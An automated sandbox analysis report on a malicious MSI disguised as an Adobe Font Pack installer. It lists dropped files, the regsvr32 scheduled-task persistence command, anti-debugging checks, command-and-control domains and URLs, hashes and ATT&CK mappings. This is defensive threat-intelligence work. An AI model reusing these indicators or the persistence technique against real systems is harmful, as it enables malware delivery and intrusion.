Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior

Source: regsvr32.exe, 00000006.00000003.409530244.0000000005596000.00000004.00000800.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000003.409404852.0000000005506000.00000004.00000800.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000003.435592379.00000000055E1000.00000004.00000800.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000003.420827556.0000000005509000.00000004.00000800.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000003.413548179.00000000055A3000.00000004.00000800.00020000.00000000.sdmp, regsvr32.exe, 00000017.00000003.506619594.0000000005151000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: zyjF6yeosi3Z3BbszxHZ5k7PONzRIIxJBPMbNo3u0Vg2zQeMu4Rk8CfGv3TUFN4O

Source: C:\Windows\SysWOW64\regsvr32.exe

Code function: 23_2_6DADACAD IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

23_2_6DADACAD

Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 23_2_6DA99910 mov ecx, dword ptr fs:[00000030h]	23_2_6DA99910
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 23_2_6DA99910 mov eax, dword ptr fs:[00000030h]	23_2_6DA99910
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 23_2_6DA99910 mov eax, dword ptr fs:[00000030h]	23_2_6DA99910
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 23_2_6DA9E160 mov ecx, dword ptr fs:[00000030h]	23_2_6DA9E160
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 23_2_6DA9E160 mov eax, dword ptr fs:[00000030h]	23_2_6DA9E160
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 23_2_6DA9E160 mov edx, dword ptr fs:[00000030h]	23_2_6DA9E160
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 23_2_6DA9E160 mov eax, dword ptr fs:[00000030h]	23_2_6DA9E160
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 23_2_6DA96570 mov ecx, dword ptr fs:[00000030h]	23_2_6DA96570
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 23_2_6DA968E0 mov ecx, dword ptr fs:[00000030h]	23_2_6DA968E0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 23_2_6DA968E0 mov eax, dword ptr fs:[00000030h]	23_2_6DA968E0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 23_2_6DA968E0 mov eax, dword ptr fs:[00000030h]	23_2_6DA968E0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 23_2_6DA968E0 mov eax, dword ptr fs:[00000030h]	23_2_6DA968E0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 23_2_6DA968E0 mov eax, dword ptr fs:[00000030h]	23_2_6DA968E0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 23_2_6DA968E0 mov eax, dword ptr fs:[00000030h]	23_2_6DA968E0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 23_2_6DA968E0 mov eax, dword ptr fs:[00000030h]	23_2_6DA968E0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 23_2_6DA968E0 mov eax, dword ptr fs:[00000030h]	23_2_6DA968E0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 23_2_6DA968E0 mov eax, dword ptr fs:[00000030h]	23_2_6DA968E0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 23_2_6DA98300 mov ecx, dword ptr fs:[00000030h]	23_2_6DA98300
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 23_2_6DA98300 mov ecx, dword ptr fs:[00000030h]	23_2_6DA98300
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 23_2_6DA98300 mov ecx, dword ptr fs:[00000030h]	23_2_6DA98300
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 23_2_6DA98300 mov eax, dword ptr fs:[00000030h]	23_2_6DA98300
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 23_2_6DA98300 mov eax, dword ptr fs:[00000030h]	23_2_6DA98300
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 23_2_6DA98300 mov ecx, dword ptr fs:[00000030h]	23_2_6DA98300
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 23_2_6DA98300 mov edx, dword ptr fs:[00000030h]	23_2_6DA98300
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 23_2_6DA95580 mov eax, dword ptr fs:[00000030h]	23_2_6DA95580
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 23_2_6DA95580 mov edx, dword ptr fs:[00000030h]	23_2_6DA95580
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 23_2_6DA95580 mov edx, dword ptr fs:[00000030h]	23_2_6DA95580
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 23_2_6DA95580 mov edx, dword ptr fs:[00000030h]	23_2_6DA95580
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 23_2_6DA95580 mov edx, dword ptr fs:[00000030h]	23_2_6DA95580
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 23_2_6DAD89F0 mov ecx, dword ptr fs:[00000030h]	23_2_6DAD89F0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 23_2_6DAA1160 mov eax, dword ptr fs:[00000030h]	23_2_6DAA1160
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 23_2_6DA9ECD0 mov ecx, dword ptr fs:[00000030h]	23_2_6DA9ECD0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 23_2_6DA9ECD0 mov eax, dword ptr fs:[00000030h]	23_2_6DA9ECD0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 23_2_6DA9ECD0 mov eax, dword ptr fs:[00000030h]	23_2_6DA9ECD0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 23_2_6DAD8C50 mov eax, dword ptr fs:[00000030h]	23_2_6DAD8C50
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 23_2_6DAD8C50 mov ecx, dword ptr fs:[00000030h]	23_2_6DAD8C50
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 23_2_6DAA0BEE mov edx, dword ptr fs:[00000030h]	23_2_6DAA0BEE
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 23_2_6DADEFD5 mov eax, dword ptr fs:[00000030h]	23_2_6DADEFD5
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 23_2_6DA91300 mov eax, dword ptr fs:[00000030h]	23_2_6DA91300
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 23_2_6DA91300 mov ecx, dword ptr fs:[00000030h]	23_2_6DA91300
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 23_2_6DAE2B7D mov eax, dword ptr fs:[00000030h]	23_2_6DAE2B7D
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 23_2_6DA9DF70 mov edx, dword ptr fs:[00000030h]	23_2_6DA9DF70
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 23_2_6DA9AAC0 mov eax, dword ptr fs:[00000030h]	23_2_6DA9AAC0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 23_2_6DA9AAC0 mov eax, dword ptr fs:[00000030h]	23_2_6DA9AAC0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 23_2_6DA9AAC0 mov ecx, dword ptr fs:[00000030h]	23_2_6DA9AAC0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 23_2_6DA9AAC0 mov eax, dword ptr fs:[00000030h]	23_2_6DA9AAC0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 23_2_6DA9AAC0 mov ecx, dword ptr fs:[00000030h]	23_2_6DA9AAC0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 23_2_6DA9AAC0 mov ecx, dword ptr fs:[00000030h]	23_2_6DA9AAC0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 23_2_6DA9AAC0 mov eax, dword ptr fs:[00000030h]	23_2_6DA9AAC0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 23_2_6DA9AAC0 mov ecx, dword ptr fs:[00000030h]	23_2_6DA9AAC0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 23_2_6DA9AAC0 mov eax, dword ptr fs:[00000030h]	23_2_6DA9AAC0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 23_2_6DA9AAC0 mov edx, dword ptr fs:[00000030h]	23_2_6DA9AAC0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 23_2_6DA9AAC0 mov edx, dword ptr fs:[00000030h]	23_2_6DA9AAC0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 23_2_6DA9AAC0 mov ecx, dword ptr fs:[00000030h]	23_2_6DA9AAC0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 23_2_6DA9AAC0 mov ecx, dword ptr fs:[00000030h]	23_2_6DA9AAC0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 23_2_6DA9AAC0 mov eax, dword ptr fs:[00000030h]	23_2_6DA9AAC0

Source: C:\Windows\System32\msiexec.exe

Process created: C:\Windows\System32\wscript.exe wscript.exe C:\Users\user\AppData\Local\AdobeFontPack\notify.vbs

Jump to behavior

Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 23_2_6DADACAD IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	23_2_6DADACAD
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 23_2_6DADD490 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	23_2_6DADD490
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 23_2_6DADAF5D SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	23_2_6DADAF5D

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\SysWOW64\regsvr32.exe	Domain query: collectiontelemetrysystem.com
Source: C:\Windows\SysWOW64\regsvr32.exe	Network Connect: 213.226.114.15 443	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Domain query: telemetrysystemcollection.com

Source: C:\Windows\System32\msiexec.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Windows\SysWOW64\regsvr32.exe

Code function: 23_2_6DADAACC cpuid

23_2_6DADAACC

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Windows\SysWOW64\regsvr32.exe

Code function: 23_2_6DADEC61 GetSystemTimeAsFileTime,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,

23_2_6DADEC61

Source: C:\Windows\System32\msiexec.exe

Registry key created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DDFB16CD4931C973A2037D3FC83A4D7D775D05E4 Blob

Jump to behavior

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
1 Replication Through Removable Media	11 Scripting	1 DLL Side-Loading	1 DLL Side-Loading	2 Disable or Modify Tools	OS Credential Dumping	1 System Time Discovery	1 Replication Through Removable Media	1 Archive Collected Data	Exfiltration Over Other Network Medium	2 Ingress Tool Transfer	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	1 Native API	Boot or Logon Initialization Scripts	11 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	11 Peripheral Device Discovery	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	11 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	11 Scripting	Security Account Manager	1 System Network Connections Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	11 Non-Standard Port	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	1 Obfuscated Files or Information	NTDS	1 File and Directory Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	3 Non-Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	34 System Information Discovery	SSH	Keylogging	Data Transfer Size Limits	14 Application Layer Protocol	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	1 File Deletion	Cached Domain Credentials	11 Security Software Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	21 Masquerading	DCSync	1 Process Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	1 Modify Registry	Proc Filesystem	11 Virtualization/Sandbox Evasion	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	11 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	1 Remote System Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction
Supply Chain Compromise	AppleScript	At (Windows)	At (Windows)	11 Process Injection	Network Sniffing	Process Discovery	Taint Shared Content	Local Data Staging	Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol	File Transfer Protocols			Data Encrypted for Impact
Compromise Software Dependencies and Development Tools	Windows Command Shell	Cron	Cron	1 Regsvr32	Input Capture	Permission Groups Discovery	Replication Through Removable Media	Remote Data Staging	Exfiltration Over Physical Medium	Mail Protocols			Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
SCAN-068589.pdf.msi	2%	Virustotal		Browse

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\AdobeFontPack\main.dll	5%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
telemetrysystemcollection.com	1%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label
http://telemetrysystemcollection.com/m8YYdu/mCQ2U9/home.aspx	0%	Avira URL Cloud	safe
https://telemetrysystemcollection.com/m8YYdu/mCQ2U9/home.aspx	0%	Avira URL Cloud	safe
https://collectiontelemetrysystem.com/m8YYdu/mCQ2U9/auth.aspx	0%	Avira URL Cloud	safe
http://collectiontelemetrysystem.com/cAUtfkUDaptk/ZRSeiy/requets/index.php	0%	Avira URL Cloud	safe
https://telemetrysystemcollection.com/m8YYdu/mCQ2U9/auth.aspx	0%	Avira URL Cloud	safe
http://collectiontelemetrysystem.com/m8YYdu/mCQ2U9/home.aspx	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
telemetrysystemcollection.com	213.226.114.15	true	true	1%, Virustotal, Browse	unknown
collectiontelemetrysystem.com	213.226.114.15	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://telemetrysystemcollection.com/m8YYdu/mCQ2U9/home.aspx	true	Avira URL Cloud: safe	unknown
http://collectiontelemetrysystem.com/cAUtfkUDaptk/ZRSeiy/requets/index.php	true	Avira URL Cloud: safe	unknown
https://telemetrysystemcollection.com/m8YYdu/mCQ2U9/auth.aspx	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://telemetrysystemcollection.com/m8YYdu/mCQ2U9/home.aspx	regsvr32.exe	false	Avira URL Cloud: safe	unknown
https://collectiontelemetrysystem.com/m8YYdu/mCQ2U9/auth.aspx	regsvr32.exe	false	Avira URL Cloud: safe	unknown
http://collectiontelemetrysystem.com/m8YYdu/mCQ2U9/home.aspx	regsvr32.exe	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
213.226.114.15	telemetrysystemcollection.com	Russian Federation		9002	RETN-ASEU	true

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	35.0.0 Citrine
Analysis ID:	647225
Start date and time: 16/06/202220:29:35	2022-06-16 20:29:35 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 8m 11s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	SCAN-068589.pdf.msi
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Run name:	Potential for more IOCs and behavior
Number of analysed new started processes analysed:	29
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal64.troj.evad.winMSI@11/22@70/2
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 11.3% (good quality ratio 11.1%) Quality average: 84.5% Quality standard deviation: 16.7%
HCA Information:	Successful, ratio: 58% Number of executed functions: 15 Number of non-executed functions: 44
Cookbook Comments:	Found application associated with file extension: .msi Adjust boot time Enable AMSI Close Viewer

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, BackgroundTransferHost.exe, backgroundTaskHost.exe, SgrmBroker.exe, conhost.exe, svchost.exe, wuapihost.exe
Excluded domains from analysis (whitelisted): www.bing.com, ris.api.iris.microsoft.com, fs.microsoft.com, store-images.s-microsoft.com, login.live.com, sls.update.microsoft.com, ctldl.windowsupdate.com, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, arc.msn.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
20:30:49	API Interceptor	86x Sleep call for process: regsvr32.exe modified
20:31:43	Task Scheduler	Run new task: 5507 path: %windir%\system32\regsvr32.exe s>-n -i:"Updateheck" "C:\Users\user\AppData\Local\x86\5507.nls"

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
213.226.114.15	SCAN-068589.pdf.msi	Get hash	malicious	Browse	collectiontelemetrysystem.com/cAUtfkUDaptk/ZRSeiy/requets/index.php
	SCAN-287004.pdf.msi	Get hash	malicious	Browse	collectiontelemetrysystem.com/cAUtfkUDaptk/ZRSeiy/requets/index.php
	SCAN-287004.html	Get hash	malicious	Browse	collectiontelemetrysystem.com/cAUtfkUDaptk/ZRSeiy/requets/index.php
	SCAN-287004.pdf.msi	Get hash	malicious	Browse	collectiontelemetrysystem.com/cAUtfkUDaptk/ZRSeiy/requets/index.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
telemetrysystemcollection.com	SCAN-287004.pdf.msi	Get hash	malicious	Browse	213.226.114.15
	SCAN-287004.html	Get hash	malicious	Browse	213.226.114.15
	SCAN-287004.pdf.msi	Get hash	malicious	Browse	213.226.114.15
collectiontelemetrysystem.com	SCAN-068589.pdf.msi	Get hash	malicious	Browse	213.226.114.15
	SCAN-287004.pdf.msi	Get hash	malicious	Browse	213.226.114.15
	SCAN-287004.html	Get hash	malicious	Browse	213.226.114.15
	SCAN-287004.pdf.msi	Get hash	malicious	Browse	213.226.114.15

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
RETN-ASEU	SCAN-067800.html	Get hash	malicious	Browse	213.226.114.15
	SCAN-068589.pdf.msi	Get hash	malicious	Browse	213.226.114.15
	SCAN-287004.pdf.msi	Get hash	malicious	Browse	213.226.114.15
	SCAN-287004.html	Get hash	malicious	Browse	213.226.114.15
	SCAN-287004.pdf.msi	Get hash	malicious	Browse	213.226.114.15
	http://soaheeme.net	Get hash	malicious	Browse	139.45.197.238
	studiorobertogalloro-file-13.06.2022.doc	Get hash	malicious	Browse	213.178.155.196
	viaggiemiraggi.invoice.13.06.2022.doc	Get hash	malicious	Browse	213.178.155.196
	quipo.file.13.06.22.doc	Get hash	malicious	Browse	213.178.155.196
	JqO5HR5WK8.dll	Get hash	malicious	Browse	213.178.155.196
	JqO5HR5WK8.dll	Get hash	malicious	Browse	213.178.155.196
	BvFdY2YcnzM7Cx1-rRkiVlvgzwLpQYDpzw__.dll	Get hash	malicious	Browse	213.178.155.196
	avvpghizzoni doc 13.06.22.doc	Get hash	malicious	Browse	213.178.155.196
	BvFdY2YcnzM7Cx1-rRkiVlvgzwLpQYDpzw__.dll	Get hash	malicious	Browse	213.178.155.196
	cittadirovigo,invoice,13.06.2022.doc	Get hash	malicious	Browse	213.178.155.196
	http://dibsemey.com	Get hash	malicious	Browse	139.45.197.250
	https://scanner.topsec.com/?d=2120&r=show&u=https%3A%2F%2Fwww.google.com%2Furl%3Fsa%3Dt%26rct%3Dj%26q%3D%26esrc%3Ds%26source%3Dweb%26cd%3D15%26url%3Dhttps%253A%252F%252Fwww.google.com%252Furl%253Fq%253Dhttps%25253A%25252F%25252Fultimatesuccess.ca%25252Fwp-admin%25252Fcss%25252Fcolors%25252Fsunrise%2526sa%253DD%2526sntz%253D1%2526usg%253DAOvVaw3lYXNEOiIvnP3sTiO83Zu7&t=cfd41993e58bce81a9b8578185c43dc4c2dde2a7	Get hash	malicious	Browse	139.45.197.237
	https://aflix.site/movie.php?id=9769	Get hash	malicious	Browse	139.45.197.239
	r4z0r.arm7	Get hash	malicious	Browse	87.245.239.244
	https://noticiasahora.org/30/05/2022/ale-galan-y-juan-lebron-ganan-el-primero-del-major-premier-padel-de-italia/	Get hash	malicious	Browse	139.45.197.237

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
37f463bf4616ecd445d4a1937da06e19	SCAN-287004.pdf.msi	Get hash	malicious	Browse	213.226.114.15
	https://secu08-my-huntlngton.com/?verify	Get hash	malicious	Browse	213.226.114.15
	SCAN-287004.html	Get hash	malicious	Browse	213.226.114.15
	SecuriteInfo.com.W32.NSIS_Injector.B.genEldorado.17499.exe	Get hash	malicious	Browse	213.226.114.15
	https://www.trekkdesigngroup.net	Get hash	malicious	Browse	213.226.114.15
	Chrome.Quick.Update.ver.103.92.92226.js	Get hash	malicious	Browse	213.226.114.15
	Chrome.Quick.Update.ver.103.92.92226.js	Get hash	malicious	Browse	213.226.114.15
	https://r20.rs6.net/tn.jsp?t=qcuzd54ab.0.0.sqy9yutab.0&1d=preview&r=3&p=http%3A%2F%2Fsophie.gotthilf.myiptv.co.za/?id=sophie.gotthilf@safra.com	Get hash	malicious	Browse	213.226.114.15
	xlu1NQYP2R.exe	Get hash	malicious	Browse	213.226.114.15
	http://www.streation.sa.com/l/lt1QW8579A43F/4151MQ6986J8474Y122M1624790U2901782988	Get hash	malicious	Browse	213.226.114.15
	SecuriteInfo.com.W32.NSIS_Injector.B.genEldorado.5053.exe	Get hash	malicious	Browse	213.226.114.15
	https://mcq2u4in36.s3.us-south.objectstorage.softlayer.net/weel/index.html?key=662b8478dc1c7e092d2953a4eab7cac1&redirect=https://www.amazon.com	Get hash	malicious	Browse	213.226.114.15
	http://www.avg.com/email-signature?utm_medium=email&utm_source=link&utm_campaign=sig-email&utm_content=emailclient	Get hash	malicious	Browse	213.226.114.15
	e-dekont.exe	Get hash	malicious	Browse	213.226.114.15
	Vantageconcept.xls	Get hash	malicious	Browse	213.226.114.15
	#U266b_01mins46secs-MP3chuck.towle039.html	Get hash	malicious	Browse	213.226.114.15
	wttZqjjr84.exe	Get hash	malicious	Browse	213.226.114.15
	SecuriteInfo.com.Artemis98C04F0BB59D.21992.exe	Get hash	malicious	Browse	213.226.114.15
	https://clt1398851.bmetrack.com/c/l?u=DF8E2AA&e=1487E89&c=155843&t=0&l=824FA2D1&email=6su2oeSVZ3Jw5Nvbk7pxkg%3D%3D&seq=1	Get hash	malicious	Browse	213.226.114.15
	SecuriteInfo.com.Gen.Variant.Nemesis.8319.12370.exe	Get hash	malicious	Browse	213.226.114.15

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Link
C:\Users\user\AppData\Local\AdobeFontPack\main.dll	SCAN-067800.html	Get hash	malicious	Browse
C:\Users\user\AppData\Local\AdobeFontPack\main.dll	SCAN-068589.pdf.msi	Get hash	malicious	Browse
C:\Users\user\AppData\Local\x86\5507.nls	SCAN-067800.html	Get hash	malicious	Browse
	SCAN-068589.pdf.msi	Get hash	malicious	Browse
	SCAN-287004.pdf.msi	Get hash	malicious	Browse
	SCAN-287004.html	Get hash	malicious	Browse
	SCAN-287004.pdf.msi	Get hash	malicious	Browse

Created / dropped Files

C:\Config.Msi\6ecb58.rbs

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	modified
Size (bytes):	8790
Entropy (8bit):	5.540766519267191
Encrypted:	false
SSDEEP:	96:1W3AmeeQ6RSQUpgeGCsvRqEHUpgeGC6jDk6svRqE7HHYOLNLopcwGPGPzxC2pTBK:1W32eOpgeVi0pgeVdr92pg
MD5:	5FBE23119C9F5808D49FB5422A8F377C
SHA1:	52C9DEA2990B4732CE359CD42E08F73A1C91F7E3
SHA-256:	D59707F487CD063F6A05F961F7EFC5DBB6194F9ED22CE593763D307534218E6F
SHA-512:	F4F56B9B8BE038606F12A2B44353BEF8E3C899509342A0692A1E7B1743D429269F7B0C1816D658C679B977E2C5C557DB724279D4E57E2111808C109065EB59F4
Malicious:	false
Reputation:	low
Preview:	...@IXOS.@.....@..T.@.....@.....@.....@.....@.....@......&.{CC038BA5-7236-4713-8948-DFF082243638}..Adobe Font Pack 3.0.12.9..SCAN-068589.pdf.msi.@.....@.....@.....@........&.{717A1233-ED34-40D0-B14C-98BF5C0B90FE}.....@.....@.....@.....@.......@.....@.....@.......@......Adobe Font Pack 3.0.12.9......Rollback..Rolling back action:..[1]..RollbackCleanup..Removing backup files..File: [1]....ProcessComponents..Updating component registration..&.{82B5B2FD-2237-42AB-9F03-B3B9EAB30000}&.{CC038BA5-7236-4713-8948-DFF082243638}.@........InstallFiles..Copying new files&.File: [1], Directory: [9], Size: [6]..+.C:\Users\user\AppData\Local\AdobeFontPack\....3.C:\Users\user\AppData\Local\AdobeFontPack\main.dll....5.C:\Users\user\AppData\Local\AdobeFontPack\notify.vbs....WriteRegistryValues..Writing system registry values..Key: [1], Name: [2], Value: [3]$..@......Software\AdobeFontPack...@....(.&...AdobeFontPack..1....RegisterProduct..Registering product..[1]......C:\Windows\Installer\6ecb59.msi.

C:\Users\user\AppData\Local\AdobeFontPack\main.dll

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	410624
Entropy (8bit):	5.9224762709107495
Encrypted:	false
SSDEEP:	6144:XtugFAmTHh/rONOBHtnee6fIhO1MMwWPzRRTuxeLaRRZMuspQ1fg3I5:9tWmTBpHtee6IcUWbHI/RRZMuV
MD5:	93F85342EBEFA3B658EE04DC42C0DF3A
SHA1:	844736386B67D21566B7A23BEDD42C4BB0223C3D
SHA-256:	60F030597C75F9DF0F7A494CB5432B600D41775CFE5CF13006C1448FA3A68D8D
SHA-512:	3CF20695B83E9B45804214A6B96337CFF29DA6993DB8BA368380BA1E5455B679BBA3646F6B27D2BAC239CAF4F6697FB9087D5679674065EBA9D7FD514C85EDB2
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Matanbuchus, Description: Yara detected Matanbuchus, Source: C:\Users\user\AppData\Local\AdobeFontPack\main.dll, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 5%
Joe Sandbox View:	Filename: SCAN-067800.html, Detection: malicious, Browse Filename: SCAN-068589.pdf.msi, Detection: malicious, Browse
Reputation:	low
